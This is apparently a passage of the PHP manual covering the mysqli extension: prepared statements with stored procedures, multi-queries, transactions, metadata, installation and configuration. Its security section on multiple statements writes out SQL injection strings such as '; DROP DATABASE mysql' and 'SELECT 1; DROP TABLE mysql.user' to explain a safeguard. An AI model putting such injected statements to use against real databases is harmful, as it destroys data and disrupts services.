  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Use of prepared statements

No special handling is required when using the prepared statement interface for fetching results from the same stored procedure as above. The prepared statement and non-prepared statement interfaces are similar. Please note, that not every MYSQL server version may support preparing the CALL SQL statement.

Example #4 Stored Procedures and Prepared Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$mysqli->query("DROP PROCEDURE IF EXISTS p") ||
    !$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;'))
   echo "Stored procedure creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!($stmt = $mysqli->prepare("CALL p()")))
   echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$stmt->execute())
  echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

do {
 if ($res = $stmt->get_result()) {
   printf("---\n");
   var_dump(mysqli_fetch_all($res));
   mysqli_free_result($res);
 } else {
   if ($stmt->errno)
     echo "Store failed: (" . $stmt->errno . ") " . $stmt->error;
 }
} while ($stmt->more_results() && $stmt->next_result());
?>

Of course, use of the bind API for fetching is supported as well.

Example #5 Stored Procedures and Prepared Statements using bind API

<?php
if (!($stmt = $mysqli->prepare("CALL p()")))
   echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;

if (!$stmt->execute())
  echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;

do {

 $id_out = NULL;
 if (!$stmt->bind_result($id_out))
   echo "Bind failed: (" . $stmt->errno . ") " . $stmt->error;

 while ($stmt->fetch())
   echo "id = $id_out\n";
} while ($stmt->more_results() && $stmt->next_result());
?>

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

There are no user contributed notes for this page.
Prepared Statements
Multiple Statements
Quickstart


Multiple Statements

MySQL optionally allows having multiple statements in one statement string. Sending multiple statements at once reduces client-server round trips but requires special handling.

Multiple statements or multi queries must be executed with mysqli_multi_query(). The individual statements of the statement string are seperated by semicolon. Then, all result sets returned by the executed statements must be fetched.

The MySQL server allows having statements that do return result sets and statements that do not return result sets in one multiple statement.

Example #1 Multiple Statements

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)"))
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;

$sql = "SELECT COUNT(*) AS _num FROM test; ";
$sql.= "INSERT INTO test(id) VALUES (1); ";
$sql.= "SELECT COUNT(*) AS _num FROM test; ";

if (!$mysqli->multi_query($sql))
 echo "Multi query failed: (" . $mysqli->errno . ") " . $mysqli->error;

do {
 if ($res = $mysqli->store_result()) {
  var_dump($res->fetch_all(MYSQLI_ASSOC));
  $res->free();
 }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "0"
  }
}
array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "1"
  }
}

Security considerations

The API functions mysqli_query() and mysqli_real_query() do not set a connection flag necessary for activating multi queries in the server. An extra API call is used for multiple statements to reduce the likeliness of accidental SQL injection attacks. An attacker may try to add statements such as ; DROP DATABASE mysql or ; SELECT SLEEP(999). If the attacker succeeds in adding SQL to the statement string but mysqli_multi_query is not used, the server will not execute the second, injected and malicious SQL statement.

Example #2 SQL ijnection

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
$res = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
if (!$res)
  echo "Error executing query: (" . $mysqli->errno . ") " . $mysqli->error;
?>

The above example will output:

Error executing query: (1064) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE mysq.user' at line 1

Prepared statements

Use of the multiple statement with prepared statements is not supported.

See also

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli_result::next-result()
  • mysqli_result::more-results()

User Contributed Notes

There are no user contributed notes for this page.
Stored Procedures
API support for transactions
Quickstart


API support for transactions

The MySQL server supports transactions depending on the storage engine used. Since MySQL [TODO]x.y[TODO] the default storage engine is InnoDB. InnoDB has full ACID transaction support.

Transactions can either be controlled using SQL or API calls. It is recommended to use API calls for enabling and disabling the auto commit mode and for comitting and rolling back transactions.

Example #1 Setting auto commit mode with SQL and through the API

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

/* Recommended: using API to control transactional settings */
$mysqli->autocommit(false);

/* Won't be monitored and recognized by the replication and the load balancing plugin */
if (!$mysqli->query('SET AUTOCOMMIT = 0'))
  echo "Query failed: (" . $mysqli->errno . ") " . $mysqli->error;
?>

Optional feature packages, such as the replication and load balancing plugin, can easily monitor API calls. The replication plugin offers transaction aware load balancing, if transactions are controlled with API calls. Transaction aware load balancing is not available if SQL statements are used for setting auto commit mode, committing or rolling back a transaction.

Example #2 Commit and rollback

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
$mysqli->autocommit(false);

$mysqli->query("INSERT INTO test(id) VALUES (1)");
$mysqli->rollback();

$mysqli->query("INSERT INTO test(id) VALUES (2)");
$mysqli->commit();
?>

Please note, that the MySQL server cannot roll back all statements. Some statements cause am implicit commit.

See also

  • mysqli::autocommit()
  • mysqli_result::commit()
  • mysqli_result::rollback()

User Contributed Notes

There are no user contributed notes for this page.
Multiple Statements
Metadata
Quickstart


Metadata

A MySQL result set contains metadata. The metadata describes the columns found in the result set. All metadata send by MySQL is accessible through the mysqli interface. The extension performs no or negliable changes to the information it receives. Differences between MySQL server versions are not aligned.

Meta data is access through the mysqli_result interface.

Example #1 Accessing result set meta data

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno)
 echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

$res = $mysqli->query("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
var_dump($res->fetch_fields());
?>

The above example will output:

array(2) {
  [0]=>
  object(stdClass)#3 (13) {
    ["name"]=>
    string(4) "_one"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(1)
    ["length"]=>
    int(1)
    ["charsetnr"]=>
    int(63)
    ["flags"]=>
    int(32897)
    ["type"]=>
    int(8)
    ["decimals"]=>
    int(0)
  }
  [1]=>
  object(stdClass)#4 (13) {
    ["name"]=>
    string(4) "_two"
    ["orgname"]=>
    string(0) ""
    ["table"]=>
    string(0) ""
    ["orgtable"]=>
    string(0) ""
    ["def"]=>
    string(0) ""
    ["db"]=>
    string(0) ""
    ["catalog"]=>
    string(3) "def"
    ["max_length"]=>
    int(5)
    ["length"]=>
    int(5)
    ["charsetnr"]=>
    int(8)
    ["flags"]=>
    int(1)
    ["type"]=>
    int(253)
    ["decimals"]=>
    int(31)
  }
}

Prepared statements

Meta data of result sets created using prepared statements are accessed the same way. A suitable mysqli_result handle is returned by mysqli_stmt_result_metadata().

Example #2 Prepared statements metadata

<?php
$stmt = $mysqli->prepare("SELECT 1 AS _one, 'Hello' AS _two FROM DUAL");
$stmt->execute();
$res = $stmt->result_metadata();
var_dump($res->fetch_fields());
?>

See also

  • mysqli::query()
  • mysqli_result::fetch_fields()

User Contributed Notes

There are no user contributed notes for this page.
API support for transactions
Installing/Configuring
Quickstart


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Metadata
Requirements
Mysqli


Requirements

In order to have these functions available, you must compile PHP with support for the mysqli extension.

Note:

The mysqli extension is designed to work with MySQL version 4.1.13 or newer, or 5.0.7 or newer. For previous versions, please see the MySQL extension documentation.

User Contributed Notes

dennylin93 at cnmc32 dot hs dot ntnu dot edu dot tw 13-Oct-2009 07:16
The required extensions will be pulled in automatically on FreeBSD, unless you manually remove them after installation.
tommyhp2 19-Jan-2009 06:03
If you're building this on FreeBSD, make sure that you have SPL and SimpleXML in the extensions.ini.
Installing/Configuring
Installation
Installing/Configuring


Installation

The mysqli extension was introduced with PHP version 5.0.0. The MySQL Native Driver was included in PHP version 5.3.0.

Installation on Linux

The common Unix distributions include binary versions of PHP that can be installed. Although these binary versions are typically built with support for MySQL extensions enabled, the extension libraries themselves may need to be installed using an additional package. Check the package manager than comes with your chosen distribution for availability.

Unless your Unix distribution comes with a binary package of PHP with the mysqli extension available, you will need to build PHP from source code. Building PHP from source allows you to specify the MySQL extensions you want to use, as well as your choice of client library for each extension.

The MySQL Native Driver is the recommended option, as it results in improved performance and gives access to features not available when using the MySQL Client Library. Refer to What is PHP's MySQL Native Driver? for a brief overview of the advantages of MySQL Native Driver.

The /path/to/mysql_config represents the location of the mysql_config program that comes with MySQL Server.

mysqli compile time support matrix
PHP Version | Default | Configure Options: mysqlnd | Configure Options: libmysql | Changelog
5.0.x, 5.1.x, 5.2.x | libmysql | Not Available | --with-mysqli=/path/to/mysql_config |
5.3.x | libmysql | --with-mysqli=mysqlnd | --with-mysqli=/path/to/mysql_config | mysqlnd is now supported
5.4.x | mysqlnd | --with-mysqli | --with-mysqli=/path/to/mysql_config | mysqlnd is now the default

Note that it is possible to freely mix MySQL extensions and client libraries. For example, it is possible to enable the MySQL extension to use the MySQL Client Library (libmysql), while configuring the mysqli extension to use the MySQL Native Driver. However, all permutations of extension and client library are possible.

The following example builds the MySQL extension to use the MySQL Client Library, and the mysqli and PDO MYSQL extensions to use the MySQL Native Driver:

./configure --with-mysql=/usr/bin/mysql_config  \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd
[other options]

Installation on Windows Systems

On Windows, PHP is most commonly installed using the binary installer.

PHP 5.0, 5.1, 5.2

Once PHP has been installed, some configuration is required to enable mysqli and specify the client library you want it to use.

The mysqli extension is not enabled by default, so the php_mysqli.dll DLL must be enabled inside of php.ini. In order to do this you need to find the php.ini file (typically located in c:\php), and make sure you remove the comment (semi-colon) from the start of the line extension=php_mysqli.dll, in the section marked [PHP_MYSQLI].

Also, if you want to use the MySQL Client Library with mysqli, you need to make sure PHP can access the client library file. The MySQL Client Library is included as a file named libmysql.dll in the Windows PHP distribution. This file needs to be available in the Windows system's PATH environment variable, so that it can be successfully loaded. See the FAQ titled "How do I add my PHP directory to the PATH on Windows" for information on how to do this. Copying libmysql.dll to the Windows system directory (typically c:\Windows\system) also works, as the system directory is by default in the system's PATH. However, this practice is strongly discouraged.

As with enabling any PHP extension (such as php_mysqli.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located. See also the Manual Windows Installation Instructions. An example extension_dir value for PHP 5 is c:\php\ext.

Note:

If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysqli.dll'", this is because php_mysqli.dll and/or libmysql.dll cannot be found by the system.

PHP 5.3.0+

On Windows, for PHP versions 5.3 and newer, the mysqli extension is enabled and uses the MySQL Native Driver by default. This means you don't need to worry about configuring access to libmysql.dll.

User Contributed Notes

Mark F 14-Mar-2011 01:09
Just to note with regards to SSL and compression. MySQLnd and thus extensions using mysqlnd such as mysqli... now supports SSL and compression. Both have been supported inside mysqlnd since PHP 5.3.3 - http://www.php.net/manual/en/mysqlnd.overview.php
arekm 24-Aug-2010 05:49
"using the MySQL Native Driver results in improved performance and gives access to features not available when using the MySQL Client Library"

Of course there are also disadvantages:
- no SSL support (a nightmare!)
- no mysql < 4.1 support

So some people cannot use mysqlnd :(
josh dot ribakoff at gmail dot com 10-Nov-2009 10:21
I kept getting configure errors:

/tmp/cc4f2PKd.o: In function `main':
/usr/src/php-5.3.0/configure:14287: undefined reference to `yp_get_default_domain'
collect2: ld returned 1 exit status
configure: failed program was:
#line 14270 "configure"
#include "confdefs.h"

The solution was to configure with mysql native driver as outlined on this page.
David dot Kit dot Friedman at gmail dot com 19-Aug-2009 04:04
>On Windows, PHP is most commonly installed using the binary installer. Once PHP has been installed, some >configuration is required to enable mysqli and specify the client library you want it to use.

Basically, if you want to add extensions you can double-click again on the installer file. The installer will find the already installed PHP and will ask if you want to change the installation.

When you go through the prompts it will take you back to the list of extensions and you can pick which extensions you want to add.

For the mysqli extension the installer also edited php.ini so that the extension was enabled:

[PHP_MYSQLI]
extension=php_mysqli.dll

the installer added those lines to the end of the file.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQLi Configuration Options
Name | Default | Changeable | Changelog
mysqli.allow_local_infile | "1" | PHP_INI_SYSTEM | Available since PHP 5.2.4.
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
mysqli.max_links | "-1" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mysqli.default_port | "3306" | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_socket | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_host | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_user | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_pw | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.reconnect | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.5.
mysqli.cache_size | "2000" | PHP_INI_SYSTEM | Available since PHP 5.3.0.

For further details and definitions of the preceding PHP_INI_* constants, see the chapter on configuration changes.

Here's a short explanation of the configuration directives.

mysqli.allow_local_infile integer

Allow accessing, from PHP's perspective, local files with LOAD DATA statements

mysqli.allow_persistent integer

Enable the ability to create persistent connections using mysqli_connect().

mysqli.max_persistent integer

Maximum of persistent connections that can be made. Set to 0 for unlimited.

mysqli.max_links integer

The maximum number of MySQL connections per process.

mysqli.default_port integer

The default TCP port number to use when connecting to the database server if no other port is specified. If no default is specified, the port will be obtained from the MYSQL_TCP_PORT environment variable, the mysql-tcp entry in /etc/services or the compile-time MYSQL_PORT constant, in that order. Win32 will only use the MYSQL_PORT constant.

mysqli.default_socket string

The default socket name to use when connecting to a local database server if no other socket name is specified.

mysqli.default_host string

The default server host to use when connecting to the database server if no other host is specified. Doesn't apply in safe mode.

mysqli.default_user string

The default user name to use when connecting to the database server if no other name is specified. Doesn't apply in safe mode.

mysqli.default_pw string

The default password to use when connecting to the database server if no other password is specified. Doesn't apply in safe mode.

mysqli.reconnect integer

Automatically reconnect if the connection was lost.

mysqli.cache_size integer

Available only with mysqlnd.

Users cannot set MYSQL_OPT_READ_TIMEOUT through an API call or runtime configuration setting. Note that if it were possible there would be differences between how libmysql and streams would interpret the value of MYSQL_OPT_READ_TIMEOUT.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
The mysqli Extension and Persistent Connections
Installing/Configuring


The mysqli Extension and Persistent Connections

Persistent connection support was introduced in PHP 5.3 for the mysqli extension. Support was already present in PDO MYSQL and ext/mysql. The idea behind persistent connections is that a connection between a client process and a database can be reused by a client process, rather than being created and destroyed multiple times. This reduces the overhead of creating fresh connections every time one is required, as unused connections are cached and ready to be reused.

Unlike the mysql extension, mysqli does not provide a separate function for opening persistent connections. To open a persistent connection you must prepend p: to the hostname when connecting.

The problem with persistent connections is that they can be left in unpredictable states by clients. For example, a table lock might be activated before a client terminates unexpectedly. A new client process reusing this persistent connection will get the connection "as is". Any cleanup would need to be done by the new client process before it could make good use of the persistent connection, increasing the burden on the programmer.

The persistent connection of the mysqli extension however provides built-in cleanup handling code. The cleanup carried out by mysqli includes:

  • Rollback active transactions

  • Close and drop temporary tables

  • Unlock tables

  • Reset session variables

  • Close prepared statements (always happens with PHP)

  • Close handler

  • Release locks acquired with GET_LOCK()

This ensures that persistent connections are in a clean state on return from the connection pool, before the client process uses them.

The mysqli extension does this cleanup by automatically calling the C-API function mysql_change_user().

The automatic cleanup feature has advantages and disadvantages though. The advantage is that the programmer no longer needs to worry about adding cleanup code, as it is called automatically. However, the disadvantage is that the code could potentially be a little slower, as the code to perform the cleanup needs to run each time a connection is returned from the connection pool.

It is possible to switch off the automatic cleanup code, by compiling PHP with MYSQLI_NO_CHANGE_USER_ON_PCONNECT defined.

Note:

The mysqli extension supports persistent connections when using either MySQL Native Driver or MySQL Client Library.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Predefined Constants
Mysqli


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MYSQLI_READ_DEFAULT_GROUP

Read options from the named group from my.cnf or the file specified with MYSQLI_READ_DEFAULT_FILE

MYSQLI_READ_DEFAULT_FILE

Read options from the named option file instead of from my.cnf

MYSQLI_OPT_CONNECT_TIMEOUT

Connect timeout in seconds

MYSQLI_OPT_LOCAL_INFILE

Enables command LOAD LOCAL INFILE

MYSQLI_INIT_COMMAND

Command to execute when connecting to MySQL server. Will automatically be re-executed when reconnecting.

MYSQLI_CLIENT_SSL

Use SSL (encrypted protocol). This option should not be set by application programs; it is set internally in the MySQL client library

MYSQLI_CLIENT_COMPRESS

Use compression protocol

MYSQLI_CLIENT_INTERACTIVE

Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection. The client's session wait_timeout variable will be set to the value of the session interactive_timeout variable.

MYSQLI_CLIENT_IGNORE_SPACE

Allow spaces after function names. Makes all functions names reserved words.

MYSQLI_CLIENT_NO_SCHEMA

Don't allow the db_name.tbl_name.col_name syntax.

MYSQLI_CLIENT_MULTI_QUERIES

Allows multiple semicolon-delimited queries in a single mysqli_query() call.

MYSQLI_STORE_RESULT

For using buffered resultsets

MYSQLI_USE_RESULT

For using unbuffered resultsets

MYSQLI_ASSOC

Columns are returned into the array having the fieldname as the array index.

MYSQLI_NUM

Columns are returned into the array having an enumerated index.

MYSQLI_BOTH

Columns are returned into the array having both a numerical index and the fieldname as the associative index.

MYSQLI_NOT_NULL_FLAG

Indicates that a field is defined as NOT NULL

MYSQLI_PRI_KEY_FLAG

Field is part of a primary index

MYSQLI_UNIQUE_KEY_FLAG

Field is part of a unique index.

MYSQLI_MULTIPLE_KEY_FLAG

Field is part of an index.

MYSQLI_BLOB_FLAG

Field is defined as BLOB

MYSQLI_UNSIGNED_FLAG

Field is defined as UNSIGNED

MYSQLI_ZEROFILL_FLAG

Field is defined as ZEROFILL

MYSQLI_AUTO_INCREMENT_FLAG

Field is defined as AUTO_INCREMENT

MYSQLI_TIMESTAMP_FLAG

Field is defined as TIMESTAMP

MYSQLI_SET_FLAG

Field is defined as SET

MYSQLI_NUM_FLAG

Field is defined as NUMERIC

MYSQLI_PART_KEY_FLAG

Field is part of an multi-index

MYSQLI_GROUP_FLAG

Field is part of GROUP BY

MYSQLI_TYPE_DECIMAL

Field is defined as DECIMAL

MYSQLI_TYPE_NEWDECIMAL

Precision math DECIMAL or NUMERIC field (MySQL 5.0.3 and up)

MYSQLI_TYPE_BIT

Field is defined as BIT (MySQL 5.0.3 and up)

MYSQLI_TYPE_TINY

Field is defined as TINYINT

MYSQLI_TYPE_SHORT

Field is defined as SMALLINT

MYSQLI_TYPE_LONG

Field is defined as INT

MYSQLI_TYPE_FLOAT

Field is defined as FLOAT

MYSQLI_TYPE_DOUBLE

Field is defined as DOUBLE

MYSQLI_TYPE_NULL

Field is defined as DEFAULT NULL

MYSQLI_TYPE_TIMESTAMP

Field is defined as TIMESTAMP

MYSQLI_TYPE_LONGLONG

Field is defined as BIGINT

MYSQLI_TYPE_INT24

Field is defined as MEDIUMINT

MYSQLI_TYPE_DATE

Field is defined as DATE

MYSQLI_TYPE_TIME

Field is defined as TIME

MYSQLI_TYPE_DATETIME

Field is defined as DATETIME

MYSQLI_TYPE_YEAR

Field is defined as YEAR

MYSQLI_TYPE_NEWDATE

Field is defined as DATE

MYSQLI_TYPE_INTERVAL

Field is defined as INTERVAL

MYSQLI_TYPE_ENUM

Field is defined as ENUM

MYSQLI_TYPE_SET

Field is defined as SET

MYSQLI_TYPE_TINY_BLOB

Field is defined as TINYBLOB

MYSQLI_TYPE_MEDIUM_BLOB

Field is defined as MEDIUMBLOB

MYSQLI_TYPE_LONG_BLOB

Field is defined as LONGBLOB

MYSQLI_TYPE_BLOB

Field is defined as BLOB

MYSQLI_TYPE_VAR_STRING

Field is defined as VARCHAR

MYSQLI_TYPE_STRING

Field is defined as STRING

MYSQLI_TYPE_CHAR

Field is defined as CHAR

MYSQLI_TYPE_GEOMETRY

Field is defined as GEOMETRY

MYSQLI_NEED_DATA

More data available for bind variable

MYSQLI_NO_DATA

No more data available for bind variable

MYSQLI_DATA_TRUNCATED

Data truncation occurred. Available since PHP 5.1.0 and MySQL 5.0.5.

MYSQLI_ENUM_FLAG

Field is defined as ENUM. Available since PHP 5.3.0.

MYSQLI_CURSOR_TYPE_FOR_UPDATE

MYSQLI_CURSOR_TYPE_NO_CURSOR

MYSQLI_CURSOR_TYPE_READ_ONLY

MYSQLI_CURSOR_TYPE_SCROLLABLE

MYSQLI_STMT_ATTR_CURSOR_TYPE

MYSQLI_STMT_ATTR_PREFETCH_ROWS

MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH

MYSQLI_SET_CHARSET_NAME

MYSQLI_REPORT_INDEX

Report if no index or bad index was used in a query.

MYSQLI_REPORT_ERROR

Report errors from mysqli function calls.

MYSQLI_REPORT_STRICT

Throw a mysqli_sql_exception for errors instead of warnings.

MYSQLI_REPORT_ALL

Set all options on (report all).

MYSQLI_REPORT_OFF

Turns reporting off.

MYSQLI_DEBUG_TRACE_ENABLED

Is set to 1 if mysqli_debug() functionality is enabled.

MYSQLI_SERVER_QUERY_NO_GOOD_INDEX_USED

MYSQLI_SERVER_QUERY_NO_INDEX_USED

MYSQLI_REFRESH_GRANT

Refreshes the grant tables.

MYSQLI_REFRESH_LOG

Flushes the logs, like executing the FLUSH LOGS SQL statement.

MYSQLI_REFRESH_TABLES

Flushes the table cache, like executing the FLUSH TABLES SQL statement.

MYSQLI_REFRESH_HOSTS

Flushes the host cache, like executing the FLUSH HOSTS SQL statement.

MYSQLI_REFRESH_STATUS

Reset the status variables, like executing the FLUSH STATUS SQL statement.

MYSQLI_REFRESH_THREADS

Flushes the thread cache.

MYSQLI_REFRESH_SLAVE

On a slave replication server: resets the master server information, and restarts the slave. Like executing the RESET SLAVE SQL statement.

MYSQLI_REFRESH_MASTER

On a master replication server: removes the binary log files listed in the binary log index, and truncates the index file. Like executing the RESET MASTER SQL statement.

User Contributed Notes

Anonymous 09-May-2008 12:44
MYSQLI_TYPE_SHORT is used for SMALLINT, not INT
The mysqli Extension and Persistent Connections
Notes
Mysqli


Notes

Some implementation notes:

  1. Support was added for MYSQL_TYPE_GEOMETRY to the MySQLi extension in PHP 5.3.

  2. Note there are different internal implementations within libmysql and mysqlnd for handling columns of type MYSQL_TYPE_GEOMETRY. Generally speaking, mysqlnd will allocate significantly less memory. For example, if there is a POINT column in a result set, libmysql may pre-allocate up to 4GB of RAM although less than 50 bytes are needed for holding a POINT column in memory. Memory allocation is much lower, less than 50 bytes, if using mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
The MySQLi Extension Function Summary
Mysqli


The MySQLi Extension Function Summary

mysqli Class
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli::affected_rows | mysqli_affected_rows() | N/A | Gets the number of affected rows in a previous MySQL operation
$mysqli::client_info | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
$mysqli::client_version | mysqli_get_client_version() | N/A | Returns MySQL client version info as an integer
$mysqli::connect_errno | mysqli_connect_errno() | N/A | Returns the error code from last connect call
$mysqli::connect_error | mysqli_connect_error() | N/A | Returns a string description of the last connect error
$mysqli::errno | mysqli_errno() | N/A | Returns the error code for the most recent function call
$mysqli::error | mysqli_error() | N/A | Returns a string description of the last error
$mysqli::field_count | mysqli_field_count() | N/A | Returns the number of columns for the most recent query
$mysqli::host_info | mysqli_get_host_info() | N/A | Returns a string representing the type of connection used
$mysqli::protocol_version | mysqli_get_proto_info() | N/A | Returns the version of the MySQL protocol used
$mysqli::server_info | mysqli_get_server_info() | N/A | Returns the version of the MySQL server
$mysqli::server_version | mysqli_get_server_version() | N/A | Returns the version of the MySQL server as an integer
$mysqli::info | mysqli_info() | N/A | Retrieves information about the most recently executed query
$mysqli::insert_id | mysqli_insert_id() | N/A | Returns the auto generated id used in the last query
$mysqli::sqlstate | mysqli_sqlstate() | N/A | Returns the SQLSTATE error from previous MySQL operation
$mysqli::warning_count | mysqli_warning_count() | N/A | Returns the number of warnings from the last query for the given link
Methods
mysqli::autocommit() | mysqli_autocommit() | N/A | Turns on or off auto-commiting database modifications
mysqli::change_user() | mysqli_change_user() | N/A | Changes the user of the specified database connection
mysqli::character_set_name(), mysqli::client_encoding | mysqli_character_set_name() | mysqli_client_encoding() | Returns the default character set for the database connection
mysqli::close() | mysqli_close() | N/A | Closes a previously opened database connection
mysqli::commit() | mysqli_commit() | N/A | Commits the current transaction
mysqli::__construct() | mysqli_connect() | N/A | Open a new connection to the MySQL server [Note: static (i.e. class) method]
mysqli::debug() | mysqli_debug() | N/A | Performs debugging operations
mysqli::dump_debug_info() | mysqli_dump_debug_info() | N/A | Dump debugging information into the log
mysqli::get_charset() | mysqli_get_charset() | N/A | Returns a character set object
mysqli::get_connection_stats() | mysqli_get_connection_stats() | N/A | Returns client connection statistics. Available only with mysqlnd.
mysqli::get_client_info() | mysqli_get_client_info() | N/A | Returns the MySQL client version as a string
mysqli::get_client_stats() | mysqli_get_client_stats() | N/A | Returns client per-process statistics. Available only with mysqlnd.
mysqli::get_cache_stats() | mysqli_get_cache_stats() | N/A | Returns client Zval cache statistics. Available only with mysqlnd.
mysqli::get_server_info() | mysqli_get_server_info() | N/A | NOT DOCUMENTED
mysqli::get_warnings() | mysqli_get_warnings() | N/A | NOT DOCUMENTED
mysqli::init() | mysqli_init() | N/A | Initializes MySQLi and returns a resource for use with mysqli_real_connect. [Not called on an object, as it returns a $mysqli object.]
mysqli::kill() | mysqli_kill() | N/A | Asks the server to kill a MySQL thread
mysqli::more_results() | mysqli_more_results() | N/A | Check if there are any more query results from a multi query
mysqli::multi_query() | mysqli_multi_query() | N/A | Performs a query on the database
mysqli::next_result() | mysqli_next_result() | N/A | Prepare next result from multi_query
mysqli::options() | mysqli_options() | mysqli_set_opt() | Set options
mysqli::ping() | mysqli_ping() | N/A | Pings a server connection, or tries to reconnect if the connection has gone down
mysqli::prepare() | mysqli_prepare() | N/A | Prepare an SQL statement for execution
mysqli::query() | mysqli_query() | N/A | Performs a query on the database
mysqli::real_connect() | mysqli_real_connect() | N/A | Opens a connection to a mysql server
mysqli::real_escape_string(), mysqli::escape_string() | mysqli_real_escape_string() | mysqli_escape_string() | Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
mysqli::real_query() | mysqli_real_query() | N/A | Execute an SQL query
mysqli::refresh() | mysqli_refresh() | N/A | Flushes tables or caches, or resets the replication server information
mysqli::rollback() | mysqli_rollback() | N/A | Rolls back current transaction
mysqli::select_db() | mysqli_select_db() | N/A | Selects the default database for database queries
mysqli::set_charset() | mysqli_set_charset() | N/A | Sets the default client character set
mysqli::set_local_infile_default() | mysqli_set_local_infile_default() | N/A | Unsets user defined handler for load local infile command
mysqli::set_local_infile_handler() | mysqli_set_local_infile_handler() | N/A | Set callback function for LOAD DATA LOCAL INFILE command
mysqli::ssl_set() | mysqli_ssl_set() | N/A | Used for establishing secure connections using SSL
mysqli::stat() | mysqli_stat() | N/A | Gets the current system status
mysqli::stmt_init() | mysqli_stmt_init() | N/A | Initializes a statement and returns an object for use with mysqli_stmt_prepare
mysqli::store_result() | mysqli_store_result() | N/A | Transfers a result set from the last query
mysqli::thread_id() | mysqli_thread_id() | N/A | Returns the thread ID for the current connection
mysqli::thread_safe() | mysqli_thread_safe() | N/A | Returns whether thread safety is given or not
mysqli::use_result() | mysqli_use_result() | N/A | Initiate a result set retrieval
MySQL_STMT
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_stmt::affected_rows | mysqli_stmt_affected_rows() | N/A | Returns the total number of rows changed, deleted, or inserted by the last executed statement
$mysqli_stmt::errno | mysqli_stmt_errno() | N/A | Returns the error code for the most recent statement call
$mysqli_stmt::error | mysqli_stmt_error() | N/A | Returns a string description for last statement error
$mysqli_stmt::field_count | mysqli_stmt_field_count() | N/A | Returns the number of field in the given statement - not documented
$mysqli_stmt::insert_id | mysqli_stmt_insert_id() | N/A | Get the ID generated from the previous INSERT operation
$mysqli_stmt::num_rows | mysqli_stmt_num_rows() | N/A | Return the number of rows in statements result set
$mysqli_stmt::param_count | mysqli_stmt_param_count() | mysqli_param_count() | Returns the number of parameter for the given statement
